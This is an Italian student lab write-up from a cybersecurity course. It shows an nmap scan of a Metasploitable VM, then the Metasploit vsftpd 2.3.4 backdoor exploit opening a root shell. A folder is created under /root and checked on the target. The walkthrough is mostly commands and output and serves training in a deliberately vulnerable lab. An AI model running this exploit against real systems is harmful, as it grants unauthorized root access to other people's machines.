



# S7/L1 Epicode Cybersecurity

Hacking con Metasploit

Nell'esercizio di oggi sfrutteremo il servizio "vsftpd" per creare una cartella su Metasploitable, da Kali, usando Metasploit. Per prima cosa effettuiamo un controllo su nmap per vedere se la porta 21(ftp) sia aperta.

```
kali@kali: ~/Desktop

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  filtered ingreslock
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: U
nix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Dopo aver verificato, tramite Metasploit procediamo a far partire l'exploit backdoor su Metasploitable.

```
kali@kali: ~/Desktop
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.50.105:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.50.105:21 - USER: 331 Please specify the password.
[+] 192.168.50.105:21 - Backdoor service has been spawned, handling...
[+] 192.168.50.105:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:39295 -> 192.168.50.105:6200)
    at 2024-01-15 10:04:49 +0100

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:47:1e:c0
          inet addr:192.168.50.105  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe47:1ec0/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1489 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1478 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:119429 (116.6 KB)  TX bytes:119261 (116.4 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:184 errors:0 dropped:0 overruns:0 frame:0
          TX packets:184 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:48293 (47.1 KB)  TX bytes:48293 (47.1 KB)
```



Creiamo quindi la cartella “test\_metasploit” nella cartella “root”.

```
cd root
ls
Desktop
reset_logs.sh
vnc.log
mkdir test_metasploit
ls
Desktop
reset_logs.sh
test_metasploit
vnc.log
_
```

Verifichiamo infine che la cartella sia stata effettivamente creata, controllando direttamente su Metasploitable.

```
Metasploitable 2 [In esecuzione] - Oracle VM VirtualBox
File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto
6.24-16-server
drwxr-xr-x 13 root root 4096 2012-05-13 23:35 lib
drwx----- 2 root root 16384 2010-03-16 18:55 lost+found
drwxr-xr-x 4 root root 4096 2010-03-16 18:55 media
drwxr-xr-x 3 root root 4096 2010-04-28 16:16 mnt
-rw----- 1 root root 27451 2024-01-15 04:51 nohup.out
drwxr-xr-x 2 root root 4096 2010-03-16 18:57 opt
dr-xr-xr-x 110 root root 0 2024-01-15 04:50 proc
drwxr-xr-x 14 root root 4096 2024-01-15 05:12 root
drwxr-xr-x 2 root root 4096 2012-05-13 21:54 sbin
drwxr-xr-x 2 root root 4096 2010-03-16 18:57 srv
drwxr-xr-x 12 root root 0 2024-01-15 04:50 sys
drwxrwxrwt 4 root root 4096 2024-01-15 04:52 tmp
drwxr-xr-x 12 root root 4096 2010-04-28 00:06 usr
drwxr-xr-x 14 root root 4096 2010-03-17 10:08 var
lrwxrwxrwx 1 root root 29 2010-04-28 16:21 vmlinuz -> boot/vmlinuz-2.6.24-1
6-server
msfadmin@metasploitable:/$ ls
+ : ?  cdrom  home  lib  mnt  proc  srv  usr
bin  dev  initrd  lost+found  nohup.out  root  sys  var
boot  etc  initrd.img  media  opt  sbin  tmp  vmlinuz
msfadmin@metasploitable:/$ cd root
msfadmin@metasploitable:/root$ ls
Desktop  reset_logs.sh  test_metasploit  vnc.log
msfadmin@metasploitable:/root$
```